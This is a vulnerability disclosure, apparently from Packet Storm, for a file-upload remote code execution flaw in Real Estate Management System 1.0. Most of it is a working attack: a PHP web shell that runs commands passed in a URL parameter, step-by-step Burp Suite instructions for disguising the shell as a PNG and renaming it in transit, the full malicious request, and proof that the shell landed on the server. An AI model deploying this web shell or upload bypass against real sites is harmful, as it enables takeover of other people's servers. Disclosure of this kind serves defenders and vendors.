Real Estate Management System 1.0 Shell Upload

2024-03-0400:00:00
Diyar Saadi
packetstormsecurity.com
vulnerability
command injection
file upload
remote code execution
web server
burp suite
windows 11
xampp
php
payload
exploit
vendor
test
7.4 High
AI Score
Confidence
Low
JSON
`# Exploit Title: Real Estate Management System v1.0 - Remote Code Execution via File Upload  
# Date: 2/11/2024  
# Exploit Author: Diyar Saadi  
# Vendor Homepage: https://codeastro.com  
# Version: V1.0  
# Tested on: Windows 11 + XAMPP 8.0.30 + Burp Suite Professional v2023.12.1.3  
  
  
## Description ##   
  
This Vulnerability allow the attacker to execute command injection payloads and upload malicious file into web server .  
  
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## Simple RCE Payload : ##  
  
<html>  
<body>  
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">  
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">  
<input type="SUBMIT" value="Execute">  
</form>  
<pre>  
<?php  
if(isset($_GET['cmd']))  
{  
system_payload($_GET['cmd']);  
}  
?>  
</pre>  
</body>  
</html>  
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## Steps to Reproduce ##   
  
1- Open Burp Suite ( Community + Professional ) + Click on Proxy Tab Then Enable Intercept By Clicking at Intercept is off .  
2- Open The Browser From Proxy Tab Then Open The Resgister Web Page : http://localhost:8080/realestate/register.php  
3- Prepare Your RCE PHP Script Base From Notepad or Any Editor Then Save the RCE PHP Script Base as : avatar.php filename .   
4- Change The Filename extension into avatar.png , after save the RCE PHP Script .  
5- Click Chose File From User Image Section Then Upload Your avatar.png file .  
6- Click Register Then Back to Burp Suite Proxy Tab :  
7- Modify File Extension Into Orginal File Extension that is : avatar.php in Example : Content-Disposition: form-data; name="uimage"; filename="avatar.png"  
Content-Type: image/png .   
8- After Modify The Content-Disposition From Burp Suite Proxy Tab Into Orginal File Extension Click Forward Button .   
9- Open The Login Page : http://localhost:8080/realestate/login.php Then Register Through Your Account Email & Password .  
10 - From MenuBar Click My Account & Profile Then Right Click at Image Icon > Copy Link > New Tab > Paste > Your Malicious Command is Ready To Execute .!  
  
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## Burp Request : ##  
  
POST /realestate/register.php HTTP/1.1  
Host: localhost  
Content-Length: 1100  
Cache-Control: max-age=0  
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Windows"  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywA99kZOAu8APGlhv  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://localhost/realestate/register.php  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.9  
Connection: close  
  
------WebKitFormBoundarypgW90eleiRxRzcEK  
Content-Disposition: form-data; name="name"  
  
johnhamosh  
------WebKitFormBoundarypgW90eleiRxRzcEK  
Content-Disposition: form-data; name="email"  
  
[email protected]  
------WebKitFormBoundarypgW90eleiRxRzcEK  
Content-Disposition: form-data; name="phone"  
  
+199988764  
------WebKitFormBoundarypgW90eleiRxRzcEK  
Content-Disposition: form-data; name="pass"  
  
<html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> </pre> </body> </html>  
------WebKitFormBoundarypgW90eleiRxRzcEK  
Content-Disposition: form-data; name="utype"  
  
user  
------WebKitFormBoundarypgW90eleiRxRzcEK  
Content-Disposition: form-data; name="uimage"; filename="avatar.php"  
Content-Type: image/png  
  
<html>  
<body>  
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">  
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">  
<input type="SUBMIT" value="Execute">  
</form>  
<pre>  
<?php  
if(isset($_GET['cmd']))  
{  
system($_GET['cmd']);  
}  
?>  
</pre>  
</body>  
</html>  
------WebKitFormBoundarypgW90eleiRxRzcEK  
Content-Disposition: form-data; name="reg"  
  
Register  
------WebKitFormBoundarypgW90eleiRxRzcEK--  
  
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## PoC Simple RCE Through This Vulnerability : ##  
  
Directory of C:\xampp\htdocs\realestate\admin\user   
..  
02/11/2024 08:09 PM 315 avatar.php  
02/11/2024 08:04 PM 315 avatar.png  
02/11/2024 06:54 PM 9,376 avatarm2-min.jpg  
02/11/2024 06:54 PM 13,186 avatarm7-min.jpg  
02/11/2024 07:47 PM 1,814 avatars.php  
02/11/2024 06:54 PM 1,313 gr7.png  
02/11/2024 07:36 PM 28 poc.php  
  
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## Video PoC : ##  
  
1- https://github.com/vulnerablecms/RCE-RealEstateVIDEOPOC/blob/main/PoC-RCE.mp4  
2- https://gofile.io/d/AEWEgI  
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Greetz !  
  
`
7.4 High
AI Score
Confidence
Low
JSON